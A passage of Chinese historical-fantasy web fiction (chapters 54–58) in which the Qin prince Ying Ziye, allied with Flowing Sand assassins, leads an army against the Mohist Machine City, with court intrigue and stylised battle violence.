“萧何那厮仗着六公子撑腰,竟敢翻查孝公年间的旧案!这分明是要搅乱朝纲!”
“是啊!”
另一位中年官员激动地拍案而起。
“下官那不成器的侄儿不过是收了几匹绢帛,竟被萧何判了个流放之刑!”
“这……这还有王法吗?”
扶苏的手指轻轻摩挲着青铜盏边缘,温润的眉眼间浮现出一丝疲惫。
他抬眼望向窗外,月色如水,却照不进这满室的怨愤。
“诸位大人,”他的声音温和却坚定。
“若案情属实,萧大人依法办案,本也无可厚非……”
“长公子!!!”
一位夫人突然扑倒在地,声泪俱下。
“我家夫君为官三十载,从未有过差错!”
“如今却被那萧何翻出陈年旧账,这分明是六公子要铲除异己啊!”
扶苏的指尖微微一颤。
青铜盏中的水面荡起细微的涟漪,映出他略显苍白的脸色。
他正欲开口,忽听府外传来一阵急促的脚步声。
“报——!”
一名仆从慌慌张张地冲进厅堂,连礼数都顾不得了。
“长公子!刚刚…刚刚帝宫禁卫百人开赴廷尉府,说是…说是奉陛下口谕,听凭萧何调遣!!”
“什么?!”
满座皆惊!
那位哭诉的夫人直接瘫软在地,几位大臣更是面如土色!
扶苏手中的青铜盏“啪”地一声落在案上,温热的水液溅湿了他的袖口。
“你……你说清楚。”
扶苏的声音有些发颤。
“是父皇…亲自下的令?!”
“千真万确!”
仆从跪伏在地。
“领队的禁军校尉当众宣读了陛下口谕,现在满朝皆知了!”
厅内一片死寂。
扶苏缓缓起身,素白的衣袖在烛光下显得格外单薄。
他走到窗前,望着廷尉府的方向,久久不语。
“长公子……”
淳于越忧心忡忡地靠近。
“陛下此举,未免……”
“老师。”
扶苏轻声打断,声音里带着前所未有的迷茫。
“您说…萧何半日判案百余件,当真能做到无一错判吗?”
淳于越一时语塞。
窗外的月光洒在扶苏的侧脸上,为他温润的轮廓镀上一层冷色。
“父皇…从未对哪位臣子如此器重过。”
扶苏的声音很轻,却让在场所有人都屏住了呼吸。
“即便是李斯丞相,也未曾得过禁卫调遣之权。”
一位年轻官员突然愤
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然起身:
“这分明是六公子蛊惑圣听!长公子,您不能再坐视不理了!”
扶苏转身,目光扫过众人。
他的眼神依旧温和,却多了一丝难以言喻的复杂。
“诸位,夜已深了。”
他整了整被热水打湿的衣袖。
“若诸位大人确无过错,自有律法还你们清白。”
“若是……”
他没有说完,但所有人都听懂了未尽之言。
那位哭诉的夫人突然止住了眼泪,几位大臣面面相觑,眼中的怨愤逐渐被恐惧取代。
待众人散去后,扶苏独自站在庭院中。
夜露打湿了他的衣摆,他却浑然不觉。
淳于越捧着披风走来,却见他最得意的弟子正望着星空出神。
“老师,我是不是…真的错了?”
扶苏突然开口,声音轻得几乎听不见。
“子夜推行的那套‘以刑去刑’,或许……”
“公子!”
淳于越急忙打断。
“仁政乃治国之本,岂能因一时得失而动摇?”
扶苏没有回答。
他的目光越过重重宫墙,仿佛看到了廷尉府中那个伏案疾书的背影。
看到了那百名肃立的玄甲禁卫。
更看到了章台宫中,父皇那深不可测的眼神。
夜风拂过,带来远处更鼓的声音。
扶苏忽然觉得,这咸阳城的夜,从未如此冷过。
……
六公子府内,赢子夜斜倚在梧桐树下的软榻上,指尖轻轻捻着一枚青铜棋子。
白隼自夜空俯冲而下,落在他肩头,带来廷尉府的最新消息。
“哦?父皇派了禁军?”
他唇角微扬,眼中闪过一丝玩味。
棋子“嗒”地落在棋盘上,惊起几片落叶。
少司命静立一旁,紫纱下的眸光微动:“公子不担心陛下起疑?”
赢子夜轻笑一声,随手将一枚黑子抛向空中:
“疑什么?疑我安插萧何擅权?”
黑子落下时,他修长的手指稳稳接住。
“父皇这是在替我铺路呢。”
夜风拂过庭院,吹动他玄色衣袍上的暗纹。
那纹路在月光下若隐若现,宛如游动的龙鳞。
“禁军一出,朝中那些老狐狸就该明白了。”
他漫不经心地摩挲着棋子。
“这是父皇在告诉所有人——”
“萧何办案,代表的是皇权!”
少司命沉吟片刻:“公子,如此一来,墨家之事……”
“更该速战速决了。”
赢子夜忽然起身,玄色大氅在身后划出一道凌厉的弧线。
他望向远处章台宫的方向,眼中金芒一闪而逝:
“父皇既已替我镇住朝堂,我若再拿不下墨家机关城……”
话音未落,他手中的棋子突然化为齑粉,随风飘散。
少司命瞳孔微缩。
她再次见到了赢子夜如此锋芒毕露的一面!!
那慵懒散漫的表象下,藏着的竟是这般锐利如剑的锋芒。
“传令韩信。”
赢子夜转身时,语气已恢复往日的漫不经心,仿佛方才的锋芒只是错觉。
“主力先行,他的人,三日后再动。”
梧桐叶沙沙作响,月光将他的影子拉得很长。
那影子投在青石板上,竟隐约如出鞘的利剑,直指墨家机关城的方向。
第54章 剑锋所指,不破墨家终不还!
黎明时分,咸阳城外旌旗蔽空。
三十万大秦锐士列阵于渭水之畔,黑甲如林,戈矛如苇!
赢子夜立于战车之上,玄色大氅在晨风中猎猎作响,腰间天子剑泛着冷光。
“咚——咚——咚——”
战鼓声震彻云霄,惊起远处山林的飞鸟。
蒙恬身披鎏金战甲,策马行至阵前,手中长戟一挥!
“开拔!”
“风!风!风!”
三十万将士齐声怒吼,声浪震得渭水为之倒流。
铁靴踏地的轰鸣声中,大军如黑色洪流般涌动。
战车辚辚,马蹄如雷,卷起的烟尘遮天蔽日。
赢子夜骑在马上,目光扫过这支虎狼之师。
每一张面孔都如刀刻般冷硬,每一双眼睛都燃烧着嗜血的战意。
这才是真正的秦军——
横扫六国,马踏山河的无敌雄师!!!
“公子。”蒙恬策马靠近,铁甲铿锵,
“先锋斥候已先行出发,三日后可抵墨家外围。”
赢子夜微微颔首。
远处山巅,隐约可见几头巨大的青铜兽影在云雾中穿行,那是公输仇打造的破城利器。
而更远处,韩信的五千奇兵早已消失在晨雾中,如同一把淬毒的**,直指墨家咽喉!
“传令。”
赢子夜的声音不大,却让周遭亲卫同时绷直了脊背,
“凡墨家子弟,一个不留。”
蒙恬眼中精光暴涨,长戟重重顿地:“诺!”
大军过处,草木低伏。
黑底金字的“秦”字大旗在风中舒展,宛如展翅的玄鸟。
沿途百姓纷纷闭户,连犬吠都噤若寒蝉。
这是大秦的虎狼之师出征,所过之处,注定血流成河!!
赢子夜抚过腰间剑柄,嘴角勾起一抹冷峻的弧度。
远处朝阳初升,将他的影子拉得很长,如同一柄出鞘的利剑,直指墨家机关城的方向。
……
咸阳城墙之上。
胡亥倚着垛口,金线袍在晨风中轻轻摆动。
他托着腮帮子,一双桃花眼微微眯起,看着远处如黑色洪流般涌动的大军,嘴角扬起天真无邪的笑容。
“老师快看呀~”
他指着渐行渐远的军队,声音里带着孩童般的雀跃。
“六哥的旌旗多威风!那面绣着玄鸟的大纛,比我的还要精致呢!”
赵高垂手而立,苍白的面容隐在城墙阴影中。
他微微欠身,声音如同毒蛇吐信:
“十八公子说笑了。战场凶险,刀剑无眼……”
“哎呀!”
胡亥突然拍手打断,眼中闪着狡黠的光。
“老师是说,六哥可能会死在墨家那些老鼠手里?”
他歪着头,露出苦恼的表情。
“那可真是太可惜了~”
一阵风吹过,扬起胡亥额前的碎发。
他随手拨开,指尖在城墙砖石上轻轻画着圈:
“不过六哥那么厉害,应该不会有事吧?”
赵高嘴角勾起一抹阴冷的弧度:“公子明鉴。不过……”
他袖中的手指轻轻摩挲着一块玉牌。
“墨家机关城经营百年,据说连只苍蝇都飞不进去。”
胡亥闻言,突然“咯咯”笑起来,清脆的笑声在城墙上回荡。
他转身蹦跳着来到赵高身边,亲昵地扯了扯老师的衣袖:
“老师真坏啊~”
“明明巴不得六哥回不来,还说得这么含蓄。”
远处,大军最后一列骑兵的身影已然消失在尘土中。
胡亥踮起脚尖张望,忽然叹了口气:
“要是六哥真回不来了,父皇该多伤心啊。”
他眨眨眼,长睫毛在脸上投下阴影。
“到时候,可得有人好好安慰他老人家才行~”
赵高深深躬身,黑袍如鸦羽般垂下:
“老奴…明白。”
胡亥满意地点点头,转身蹦蹦跳跳地往城下走去。
经过垛口时,他随手将把玩多时的一枚玉佩抛向城外。
玉佩在空中划出一道优美的弧线,“啪”地碎在官道的石板上。
“哎呀,手滑了~”
胡亥吐了吐舌头,头也不回地哼着小曲离去。
赵高缓步跟上,苍白的面容上浮现出一丝诡异的微笑。
城墙下,那枚碎成两半的玉佩上,“子夜”二字赫然在目。
……
墨家机关城深处。
青铜火把在甬道两侧剧烈摇曳,将众人的影子拉得狰狞扭曲。
墨家矩子负手立于中央石台之上,斗笠下的目光如刀锋般锐利。
“报——!”
一名墨家弟子飞奔而入,单膝跪地。
“秦军先锋已过函谷,距我机关城不足三百里!”
石室内顿时一片哗然。
大铁锤猛地抡起他那柄千斤巨锤,重重砸在地上:
“来得正好!老子早就想会会那赢子夜了!”
班大师的机关手“咔咔”作响,从袖中展开一张泛黄的机关城布防图:
“矩子,老朽已在东侧峡谷布下‘千机变’,只要秦军敢来……”
“不够。”
矩子冷声打断,黑袍无风自动。
他指尖点向地图上几处要道。
“这里、这里,还有这里,全部埋下‘地火雷’。”
盗跖斜倚在石柱上,把玩着手中的铜牌:
“要我说,直接让我去把那赢子夜的脑袋摘来算了。”
他身影一闪,瞬间出现在石台另一侧。
“保证神不知鬼不觉~”
“胡闹!”
班大师的机关手“啪”地拍在案上。
“那赢子夜身边高手如云,连阴阳家的少司命都在旁护持。”
矩子突然抬手,室内顿时鸦雀无声。
他缓缓摘下半边斗笠,露出半张布满疤痕的脸:
“秦军此来,必携公输仇的机关兽。”
声音沙哑如铁锈摩擦。
“传令各统领:东谷由大铁锤镇守,西崖交予端木蓉,班大师坐镇中枢机关室。”
他忽然从袖中甩出三枚青铜令牌,精准地钉在三人面前的木案上,入木三分:
“记住,凡入机关城者——杀无赦!!!”
盗跖吹了声口哨,身影已闪至门口:
“那我呢?”
矩子黑袍一振,转身时斗笠重新遮住面容:
“探报查到南
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线有一支奇兵,行踪隐秘。”
语气中带着森然杀意。
“去盯着那支人马——看看他们是护送机关兽,还是暗藏杀机。”
大铁锤哈哈大笑,抡起巨锤扛在肩上:
“这次定要让秦军有来无回!老子要亲手砸碎那赢子夜的脑袋!”
班大师的机关手快速在图纸上勾画,突然动作一顿:
“矩子,若是…若是他们找到水道……”
矩子沉默片刻,黑袍下的手微微攥紧:“那就直接启动‘玄武计划’!”
他转身走向暗门,声音如九幽寒冰。
“即便毁掉半个机关城,也要让赢子夜…葬身于此!”
火把突然剧烈摇晃,将矩子的影子投在石壁上,宛如一柄出鞘的利剑。
盗跖把玩铜牌的手微微一顿,眼中闪过一丝凝重。
他已经很久…没见过矩子如此决绝了。
……
与此同时。
山间薄雾未散。
韩信立于一处高崖之上,破旧的衣袍在晨风中猎猎作响。
他手中握着一根枯枝,在地面的沙盘上划出三道凌厉的轨迹。
“前军三千,大张旗鼓走官道。”
枯枝点在沙盘东侧,激起一片尘土。
“多树旌旗,每日灶数翻倍。”
身旁的副将瞪大了眼睛:“韩参令,这是……”
“疑兵。”
韩信嘴角微扬,枯枝在沙盘上划出一道弯曲轨迹。
“沿途布置假器械与空营,用来吸引墨家注意。”
身旁副将凝眉:“韩参令,是要掩护中军调动?”
韩信未答,又将枯枝指向西侧浅谷。
“左翼一千,装作主力后卫,缓行缓驻,营中装设机关兽空壳。”
他缓缓抬眸,目光沉定如水。
“我率中军主力,夜间改道,自北丘密林转入子午小道。”
众将神色微变。
“子午道狭险难行,大部军械怕是……”
“机关兽已封存装箱,拆解入车。五百工匠与火炮技师随行。”
韩信将枯枝轻轻一按,落在沙盘中一处名为“山坞”的隐蔽谷地。
“此地为列装之地,三日后,炮阵完成,机关兽启封,正可配合六公子主力自东谷发动主攻。”
副将眼神微震,低声道:“韩参令是要…正面佯攻,炮火决胜?”
韩信淡淡一笑。
“既是兵器,自当用来破局。”
他扫过众将,语气平静却如重锤落地:
“此役之后,大秦之军,不再只是铁骑长戈!”
片刻沉默后,副将率先跪地叩首!
“末将领命!”
十余名将领接连俯首。
他们终于明白,为何那位最桀骜的六公子,会把这支最隐秘的力量交给韩信。
他不是单纯的战将,而是一座行走的兵阵,一把…尚未出鞘的利剑!
远处山道上,装载机关兽与火炮的辎重车列悄然前行。
韩信立于山巅,风吹动他破旧的衣角。
他的眼中没有光,却燃着决心。
这一战,不为荣耀,不为名声。
他只为让天下记住——
兵者,诡道也!
第56章 黑云压城城欲摧!
三日后,黎明破晓。
墨家机关城外的山谷间,黑压压的秦军如潮水般涌来。
黄金火骑兵的铁甲在晨光下泛着冷冽的寒芒,战旗猎猎,遮天蔽日。
城墙上,墨家弟子们紧握兵器,望着远处那支纪律森严的军队,不少人额头已渗出冷汗。
“风!风!风!”
三十万秦军齐声呐喊,声浪震得山谷回响,连机关城的青铜机关都微微颤动!
赢子夜一袭玄色战袍,立于中军战车之上,腰间天子剑在朝阳下熠熠生辉。
他抬手示意,震天的呐喊声戛然而止,整个战场瞬间陷入死一般的寂静!
“墨家矩子。”
赢子夜的声音不大,却清晰地传遍城头。
“开城投降,可保全城性命。”
“一日之后,若仍负隅顽抗……”
他唇角勾起一抹冰冷的弧度。
“鸡犬不留!”
城头上一片骚动。
大铁锤怒目圆睁,抡起巨锤就要冲下城去,却被班大师的机关手死死拉住。
“混账!”
大铁锤怒吼。
“老子现在就去砸碎那赢子夜的脑袋!”
赢子夜对城头的骚动视若无睹,从容转身回到中军大帐。
樊哙大步跟入,粗声问道。
“公子,为何不现在就攻?”
“咱们三十万大军,还怕他个鸟机关城不成?”
帐内烛火摇曳,赢子夜慢条斯理地解下腰间佩剑,轻放在案几上。
“稍安勿躁。”
他抬眸看向帐外。
“我军长途跋涉,对方以逸待劳,此时强攻,正中墨家下怀。”
蒙恬立于一侧,鎏金战甲映着烛光。
他眉头微皱,沉声道。
“公子所言极是。但拖延一日,恐给墨家喘息之机……”
“一日足矣。”
赢子夜从袖中取出一枚青铜令牌,在指尖轻轻转动。
“我的‘秘密武器’,明日便可就位。”
帐内众人面面相觑。
樊哙挠了挠头。
“啥秘密武器?能比俺的斧头还厉害?”
赢子夜但笑不语。
蒙恬凝视着那枚令牌,忽然瞳孔微缩!
令牌上刻着的,赫然是公输家的家徽!
他心中一震,猛然想起传闻中的霸道机关术……
“公子深谋远虑。”
蒙恬抱拳,语气中难掩震惊。
“末将佩服。”
赢子夜微微颔首,目光扫过众人。
“传令全军,今日休整,多派斥候,严密监视墨家动向。”
他指尖轻点地图上几处要道。
“尤其是这几条小路,加强巡逻。”
“诺!”
众将齐声应命。
待众人退下后,蒙恬犹豫片刻,终是开口。
“公子,您说的秘密武器该不会就是……”
“蒙将军好奇?”
赢子夜挑眉,眼中闪过一丝玩味。
“明日自见分晓。”
蒙恬肃然。
他忽然意识到,眼前这位看似慵懒的六公子,用兵之道竟如此老辣。
先以大军压境震慑敌胆,再借休整之名麻痹对手,最后以雷霆之势一击必杀!
这等谋略,即便是他这等沙场老将也为之叹服。
帐外,夕阳西沉,将秦军连绵的营帐染成血色。
赢子夜负手而立,望着远处巍峨的机关城轮廓,轻声道。
“蒙将军可知,为何我要给他们一日时间?”
蒙恬沉思片刻。
“公子是想……”
“恐惧。”
赢子夜打断他,声音冷如寒铁。
“一日的时间,足够让恐惧在城中蔓延。”
他转身,玄色大氅在暮色中如翼展开。
“当明日的太阳升起时,我要看到的不是顽抗的勇士,而是一群吓破胆的猎物。”
蒙恬脊背一凉。
这一刻,他仿佛看到了始皇帝年轻时的影子。
那种睥睨天下、掌控生死的帝王气度。
远处城墙上,墨家弟子们不安地来回巡视。
他们不知道,这一夜将会是他们人生中最漫长的一夜。
……
墨家机关城中央大厅内。
青铜火把剧烈摇曳,将众人紧绷的面容映照得忽明忽暗。
矩子背对众人立于高台,黑袍如鸦羽般垂落,斗笠下的阴影遮住了他所有的表情。
“都慌什么!”
大铁锤一锤砸在地上,震得大厅嗡嗡作响。
“不就是三十万秦军吗?老子一锤子能砸死十个!”
班大师的机关手“咔咔”作响,从袖中展开一张泛黄的机关城布防图。
“机关城经营百年,岂是那么容易攻破的?”
他指向图纸上几处关键位置。
“老朽已经启动了所有防御机关,连只苍蝇都飞不进来!”
盗跖斜倚在石柱上,指尖转动着一枚铜钱。
“要我说,与其坐等秦军来攻,不如……”
铜钱突然弹向空中,他身影一闪已出现在矩子身侧。
“让我去烧了他们的粮草?”
矩子终于转身,斗笠微微抬起,露出那张狰狞面具。
“正合我意。”
他的声音沙哑如铁锈摩擦。
“今夜子时,你带二十名精锐,烧毁秦军粮仓。”
“得令~”
盗跖咧嘴一笑,露出尖尖的虎牙。
“保证让他们明天饿着肚子打仗!”
徐夫子抚摸着腰间长剑,沉声道。
“机关城外围的‘千机变’已经启动,秦军若敢强攻,必让他们有来无回!”
“还不够。”
矩子黑袍一振,走向大厅中央的沙盘。
“项氏一族的援军何时能到?”
一名墨家弟子快步上前。
“回矩子,项少羽率三千精锐已至三十里外的青龙峡,约定明日午时奇袭
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秦军后方!”
大厅内顿时响起一片低声议论。
班大师的机关手快速在沙盘上标记着位置。
“若项氏能从侧翼突袭,我们正面牵制,或可……”
“必胜!”
大铁锤兴奋地挥舞巨锤。
“老子明天要亲手砸碎那赢子夜的脑袋!”
矩子抬手示意安静,大厅瞬间鸦雀无声。
他缓缓摘下半边斗笠,面具后是一只布满血丝的独眼。
“诸位记住,此战关乎墨家存亡。”
声音虽轻,却让所有人脊背发凉。
“明日若战事不利,立即启动‘玄武计划’。”
班大师的机关手突然一颤。
“矩子,那可是……”
“玉石俱焚。”
矩子冷冷打断,独眼扫过在场每一个人。
“墨家可以毁灭,但绝不会向暴秦低头。”
盗跖把玩铜钱的手指微微一顿,眼中闪过一丝复杂。
他忽然笑道。
“放心啦~有我在,秦军的粮草今晚就会变成烤全羊!”
矩子重新戴好斗笠,黑袍一甩走向暗门。
“各自准备吧。明日此时……”
他顿了顿,声音如九幽寒冰。
“要么墨家存,要么秦军亡!”
众人肃然领命。
徐夫子默默擦拭着长剑。
班大师的机关手快速调整着机关图谱。
大铁锤则抡起巨锤,在院中疯**练起来。
盗跖倚在门边,望着远处秦军营地的灯火,眼中闪过一丝狡黠。
“赢子夜啊赢子夜,今晚给你个惊喜~”
夜色渐深,机关城内一片忙碌。
弟子们来回奔走,检查每一处机关枢纽。
巡逻队穿梭在城墙上,警惕地注视着远处的秦军营地。
后勤弟子则忙着准备箭矢、滚石等守城物资。
中枢机关室内,班大师的机关手快速拨动着复杂的青铜机关。
随着一阵“咔咔”声,整座机关城的地面微微震动,隐藏在各处的致命机关全部激活。
“老班。”
徐夫子推门而入。
“东侧水门的机关检查过了吗?”
班大师头也不抬。
“早就准备好了!只要秦军敢靠近,‘水龙吟’就会让他们尝尝什么叫水淹七军!”
城墙上,大铁锤扛着巨锤来回巡视,不时冲着远处的秦军营地怒吼几声。
年轻的墨家弟子们看着统领这般气势,心中的恐惧也消散了不少。
“小子们怕什么!”
大铁锤拍着胸脯。
“明天跟着老子冲,保证让你们个个立功!”
暗处,矩子独自立于最高处的瞭望台,黑袍在夜风中猎猎作响。
他望着远处连绵的秦军营帐,独眼中闪过一丝决绝。
“赢子夜……”
沙哑的声音消散在风中。
“明日,不是你死……就是我亡。”
第57章 请君入瓮!
子时刚过,秦军大营一片寂静。
盗跖如鬼魅般掠过哨塔,脚尖轻点栅栏,无声落地。
身后二十名墨家精锐分散潜入,借着夜色掩护,向营地深处摸去。
“太简单了吧?”
盗跖嘴角扬起,指尖转动铜钱。
“赢子夜就这点防备?”
他打了个手势,墨家弟子们立即分成四组,各自搜寻粮草位置。
夜风拂过营帐,带起细微的沙沙声,掩盖了一切动静。
然而,就在五名墨家弟子俯身穿过营帐的间隙。
忽然一道猩红长鞭如毒蛇般缠住最后一人的咽喉!
“咔嚓!”
喉骨碎裂的轻响被风声吞没。
前方四人尚未察觉,阴影中已闪过数道银针。
“噗!噗!噗!”
针尖淬毒,见血封喉。
四人瞪大眼睛,无声倒地。
赤练从暗处款款走出,红唇微勾。
“墨家的老鼠…真是不堪一击呢~”
另一组死得更安静。
他们刚靠近一处粮垛,脚下突然一紧!
隐蝠倒挂在帐篷阴影中,蝠血术凝成的丝线已缠住四人脚踝。
“嗬…嗬…”
隐蝠喉咙里发出怪笑,手指一勾。
“唰!”
四颗头颅冲天而起,鲜血尚未溅出,白凤的身影已掠过半空,雪白的羽刃精准接住每一滴血珠!
“脏。”
他皱眉甩袖,血珠无声渗入泥土。
而这一边。
盗跖忽然停下脚步。
**静了。
按照约定,各组每隔一刻钟就该发出信号,可现在…
铜钱在指间停转,他瞳孔骤缩!!
前方阴影里,一双幽绿的眼睛正盯着他。
“苍狼王?”
盗跖一惊,随即冷笑。
“流沙也来给赢子夜当看门狗了?”
苍狼王缓步走出,铁爪泛着寒光。
“墨家的小贼…你的同伴都**。”
盗跖心头剧震,电光神行步瞬间发动!
但就在他闪身的刹那,三道身影已封锁所有退路!!
赤练的长鞭、白凤的羽刃、隐蝠的血丝,同时袭来!
“铛!”
铜钱与羽刃相撞,火花四溅。
盗跖勉强避过致命一击,肩头却被长鞭撕开一道血口。
他咬牙暴退,却见四周火把骤然亮起!
“欢迎光临。”
赢子夜的声音从高处传来。
盗跖抬头,只见中军帐顶,玄衣公子正倚栏而立,手中把玩着一枚青铜棋子。
“你!”
盗跖目眦欲裂。
“故意放我们进来?!”
赢子夜轻笑落子。
“不然呢?”
棋子“嗒”地落在棋盘上。
“真以为秦军大营是你家后院?”
赤练的长鞭再次袭来,盗跖仓皇闪避,后背却被苍狼王的铁爪撕开三道血痕!
他猛地甩出七枚铜钱,趁着众人格挡的瞬间,电光神行步全力发动!
“想跑?”
白凤羽刃破空,盗跖闷哼一声,右腿被贯穿。
但他竟借着冲势腾空而起,在营帐间几个起落,消失在夜色中。
然后便是踉跄奔逃,鲜血在身后拖成长长的痕迹。
他回头望向火光冲天的秦军大营,眼中满是骇然!
白凤正要追击,赢子夜却抬手制止。
“不必了。”
他俯视着地上墨家弟子的尸体,望着盗跖消失的方向,唇角勾起一抹讥诮。
“电光神行步…名不虚传。”
他捻起一枚染血的铜钱,在指尖轻轻转动。
“虽然他武功不怎么样,逃命的本事倒是一流。”
一旁的蒙恬按剑而立,鎏金战甲映着火光。
他目光扫过隐蝠等人,眉头微蹙。
“公子,这些人…”
“逆流沙?”
赢子夜随手抛掉铜钱。
“各取所需罢了。”
他似笑非笑地看向阴影中赤炼等人。
“卫庄兄要的是盖聂,我要的是墨家,一拍即合。”
赤练掩唇轻笑,猩红长鞭如活物般缠回腰间。
“六公子可比墨家那些**子有趣多了~”
白凤静立帐顶,雪白的羽刃收入袖中,眼中闪过一丝不耐。
“无聊。”
正当此时,一骑快马冲破夜色!
斥候滚鞍下马,单膝跪地。
“报!韩参令率五千精兵已抵预定位置!”
赢子夜眼中精光一闪。
“好!”
他转身看向早已候命的公输仇。
“公输先生,可以开始了。”
公输仇独眼迸发出狂热的光芒,机关臂“咔咔”作响。
“老朽等候多时了!”
他嘶哑的笑声如同夜枭。
“墨家的**子们,该见识真正的机关术了!”
蒙恬看着公输仇癫狂的背影,心中暗惊!
他忍不住低声道。
“公子…”
“蒙将军稍安勿躁。”
赢子夜负手望向东方的鱼肚白。
“黎明时分,自见分晓。”
远处山脊上,第一缕晨光刺破云层。
赢子夜的玄色衣袍在晨风中翻卷,宛如展翅的玄鸟。
他轻轻抚过腰间天子剑,声音轻得只有自己能听见。
“矩子,这份大礼…你可接稳了。”
……
同时。
盗跖踉跄着撞开机关城大门,鲜血在青石地面上拖出一道刺目的痕迹。
他的右腿几乎被羽刃贯穿,后背三道爪痕深可见骨,脸色惨白如纸。
“盗跖!”
班大师的机关手“咔”地伸出,一把扶住摇摇欲坠的身影。
“怎么回事?!”
大铁锤抡起巨锤就要往外
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冲。
“秦军打来了?老子去会会他们!”
“等…等等……”
盗跖咳出一口血沫,手指死死攥住班大师的衣袖。
“逆…逆流沙…在秦军。”
大厅内瞬间死寂。
徐夫子的长剑“铮”地出鞘半寸!
“你说什么?”
“赤练、白凤、苍狼王……”
盗跖每说一个名字,声音就低一分。
“还有…隐蝠……”
他猛地抓住胸口。
“他们…早就埋伏好了,我们的人…全**……”
矩子的黑袍无风自动,斗笠下的阴影遮住了他震动的目光。
“赢子夜,竟能调动逆流沙?”
盗跖惨笑一声,从怀中掏出一枚染血的铜钱。
那是他唯一带回来的同伴遗物。
班大师的机关手突然一颤,齿轮发出刺耳的摩擦声。
大铁锤的巨锤“咚”地砸在地上。
“怕什么!来一个老子砸一个!”
就在此时,一名墨家弟子狂奔入内。
“矩子!盖先生回来了!还带着个孩子!”
矩子猛地抬头,斗笠下的独眼闪过一丝光亮。
他快步走向大门,黑袍在身后翻卷如乌云。
城门处,盖聂一袭素袍,腰间木剑沉静如水。
他身旁站着个约莫十岁的男孩,正怯生生地抓着盖聂的衣角。
“丹……”
盖聂轻声开口,又立即改口。
“矩子。”
矩子的手在袖中微微发抖,声音却依旧沙哑冷硬。
“你回来得正是时候。”
盖聂目光扫过重伤的盗跖,眉头微蹙。
“情况比想象的更糟?”
“赢子夜带着三十万秦军,还有……”
矩子顿了顿。
“逆流沙。”
盖聂的瞳孔骤然收缩,木剑无声地颤动了一下。
他身旁的男孩似乎察觉到什么,小手攥得更紧了。
“天明不怕。”
盖聂轻轻按住男孩的肩膀,抬头时眼中已是一片沉静。
“有我在。”
大铁锤哈哈大笑,巨锤重重顿地。
“这下好了!剑圣加上咱们墨家,管他什么流沙秦军,统统砸个稀巴烂!”
班大师的机关手快速调整着防御图谱。
“盖先生回来得正好,机关城东侧的‘千机变’需要有人坐镇。”
矩子静静注视着盖聂,独眼中闪过一丝久违的希冀。
他缓缓抬手,黑袍袖口露出一枚古老的墨家令牌。
“盖聂,明日一战……”
“我明白。”
盖聂接过令牌,声音轻却坚定。
“墨家存亡,在此一举!!”
远处,夕阳如血,将机关城的轮廓染得一片猩红。
男孩天明仰头望着大人们凝重的面容,小手悄悄摸向了腰间那柄奇异的短剑。
第58章 我韩信立名,便在今日!
黎明破晓,东方天际泛起鱼肚白时,战鼓声已震彻山谷。
“咚——咚——咚——”
秦军战阵如黑色潮水般向机关城推进。
黄金火骑兵铁甲森然,长矛如林,踏地的轰鸣让城墙上的青铜机关微微震颤!
赢子夜立于中军战车之上,玄色大氅在晨风中猎猎作响,目光冷峻地望向城墙。
“风!风!风!”
三十万秦军齐声呐喊,声浪如雷霆炸响,惊起远处山林中栖息的飞鸟。
蒙恬鎏金战甲耀眼夺目,长戟高举。
“**手准备!”
城墙上,墨家弟子们紧握兵器,不少人脸色发白。
大铁锤抡起千斤巨锤,重重砸在城垛上。
“怕什么!跟老子杀出去!”
矩子黑袍翻卷,抬手示意。
“按计划行事。”
城门轰然洞开!
徐夫子长剑出鞘,率领三百墨家精锐冲出。
他们身着轻甲,行动迅捷如风,在秦军箭雨覆盖前已散成扇形。
“佯攻部队?”
蒙恬眯起眼睛。
“墨家想引我们追击。”
赢子夜轻笑,“那就陪他们玩玩。”
他随意挥手。
“前军五千,出击!”
战鼓节奏突变。
秦军方阵如臂使指般**,前排盾兵立起铜墙,后排**手箭雨覆盖。
墨家弟子在箭矢缝隙中穿梭,不时有惨叫声响起。
“哈哈哈!痛快!”
大铁锤一马当先,巨锤横扫,三名秦军盾兵连人带盾被砸成肉泥。
他浑身浴血,状若疯魔!
“再来啊!”
徐夫子剑光如虹,每一剑都精准刺入秦军甲胄缝隙。
他身后墨家弟子结成奇阵,且战且退,不断将秦军引入预设路线。
“不对劲。”
蒙恬突然皱眉。
“他们退得太有章法了。”
赢子夜目光一凝,“传令,停止追击!”
但为时已晚。
“咔咔咔——”
机关转动声从地下传来。
冲在最前的秦军脚下突然塌陷,数十人坠入深坑,坑底倒立的铁刺瞬间将人贯穿。
“千机变!”
班大师在城墙上大笑,机关手快速拨动控制枢纽。
“尝尝墨家的厉害!”
更多机关接连触发。
地面突然弹起无数铁蒺藜,战马嘶鸣着倒地!
两侧山崖滚下巨石,将秦军退路截断。
甚至有青铜巨臂从地下伸出,将整队士兵扫入深渊。
“撤!快撤!”
秦军将领嘶声大喊。
但黄金火骑兵不愧精锐,遇变不惊。
盾兵立即结圆阵防御,**手压制城头火力,伤兵被迅速拖回后方。
可即便如此,就这么片刻功夫,已有数百秦军折损。
城墙上,盗跖拖着伤腿咬牙道。
“还不够!他们的主力根本没动!”
矩子独眼微眯。
“启动第二方案。”
随着一声令下,城墙中间的青铜机关缓缓展开,露出三架巨型**车。
每一架都需要十人合力操作,**箭粗如儿臂,箭头上泛着诡异的蓝光!
“破城**?”
赢子夜远远望见,眼中闪过一丝讶异。
“墨家倒是藏了不少好东西。”
紧接着,箭矢如雨,破空尖啸!
墨家机关**射出的巨箭撕裂空气,带着刺耳的嗡鸣直扑秦军战阵。
箭头上淬着剧毒,蓝光森然,足以洞穿重甲。
然而!
“御!”
蒙恬一声令下,黄金火骑兵瞬间变阵。
“轰——!”
三千面铜盾同时立起,层层叠叠,如钢铁城墙般推进。
巨箭撞击在盾面上,火花迸溅,发出震耳欲聋的金属碰撞声,却终究未能穿透。
箭矢折断,毒液溅在盾牌上,滋滋作响,却伤不到盾后分毫。
“这…这不可能!”
班大师在城墙上失声惊呼,机关手剧烈颤抖。
“我们的破城**竟然……”
矩子黑袍下的手攥紧,独眼死死盯着战场。
秦军战阵依旧在推进,盾墙之后,长矛如林,寒光慑人!
“掷!”
蒙恬长戟一挥,第二道军令炸响。
“唰——!”
万矛齐发!
长矛破空,如黑色暴雨倾泻而下,瞬间覆盖墨家守军所在的城墙。
矛尖穿透血肉,钉入石壁,惨叫声骤然爆发!
一名墨家弟子被长矛贯穿胸膛,钉死在机关**旁。
另一人被三支长矛同时刺穿,悬在半空,鲜血顺着矛杆流淌!
“不!”
徐夫子目眦欲裂,长剑挥舞,斩断几支飞来的长矛,却仍被一支擦过肩头,血染白袍。
